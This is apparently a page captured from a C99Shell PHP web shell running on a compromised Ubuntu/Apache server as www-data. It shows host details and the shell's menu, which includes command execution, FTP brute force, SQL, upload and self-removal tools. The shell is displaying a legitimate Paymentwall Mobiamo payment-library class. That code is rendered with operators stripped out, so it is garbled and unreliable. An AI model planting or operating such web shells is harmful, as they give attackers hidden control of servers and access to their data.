!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/paymentwall/paymentwall-php/lib/Paymentwall/   drwxrwxr-x
Free 13.14 GB of 57.97 GB (22.67%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Mobiamo.php (2.77 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class Paymentwall_Mobiamo extends Paymentwall_ApiObject {
    protected 
$token;
    const 
API_OBJECT_MOBIAMO 'mobiamo';
    public function 
getEndpointName()
    {
        return 
self::API_OBJECT_MOBIAMO;
    }
    
    public function 
getToken($params){
        
$defaultParams = [
            
'key' => $this->getConfig()->getPublicKey(),
            
'ts' => time(),
            
'sign_version' => Paymentwall_Signature_Abstract::VERSION_TWO
        
];
        
$params array_merge($defaultParams$params);
        
$params['sign'] = $this->calculateSignature($params);
        
$this->doApiAction('token''post'$params);
        return 
$this->getProperties();
    }

    public function 
initPayment($token$params){
        
$this->token $token;
        
$params['key'] = $this->getConfig()->getPublicKey();
        
$this->doApiAction('init-payment''post'$params);
        return 
$this->getProperties();
    }

    public function 
processPayment($token$params){
        
$this->token $token;
        
$params['key'] = $this->getConfig()->getPublicKey();
        
$this->doApiAction('process-payment''post'$params);
        return 
$this->getProperties();
    }

    public function 
getPaymentInfo($token$params){
        
$this->token $token;
        
$params['key'] = $this->getConfig()->getPublicKey();
        
$this->doApiAction('get-payment''post'$params);
        return 
$this->getProperties();
    }

    protected function 
calculateSignature($params = array())
    {
        
$baseString '';
        
$this->ksortMultiDimensional($params);

        
$baseString $this->prepareParams($params$baseString);

        
$baseString .= $this->getConfig()->getPrivateKey();

        return 
md5($baseString);
    }

    protected function 
prepareParams($params = array(), $baseString '')
    {
        foreach (
$params as $key => $value) {
            if (
is_array($value)) {
                foreach (
$value as $k => $v) {
                    
$baseString .= $key '[' $k ']' '=' $v;
                }
            } else {
                
$baseString .= $key '=' $value;
            }
        }
        return 
$baseString;
    }

    protected function 
ksortMultiDimensional(&$params = array())
    {
        if (
is_array($params)) {
            
ksort($params);
            foreach (
$params as &$p) {
                if (
is_array($p)) {
                    
ksort($p);
                }
            }
        }
    }

    public function 
getApiUrl()
    {
        if (
$this->getEndpointName() === self::API_OBJECT_ONE_TIME_TOKEN && !$this->getConfig()->isTest()) {
            return 
Paymentwall_OneTimeToken::GATEWAY_TOKENIZATION_URL;
        } else {
            return 
$this->getApiBaseUrl() . '/' .  $this->getEndpointName();
        }
    }

    protected function 
doApiAction($action ''$method 'post'$params = [])
    {
        
$actionUrl $this->getApiUrl() . '/' $action;
        
$httpAction = new Paymentwall_HttpAction($this$params, [$this->getApiBaseHeader()]);
        
$this->setPropertiesFromResponse(
            
$method == 'get' $httpAction->get($actionUrl) : $httpAction->post($actionUrl)
        );
        return 
$this;
    }

    protected function 
getApiBaseHeader()
    {
        if (
$this->token){
            return 
'token: ' $this->token;
        }
        return 
'';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--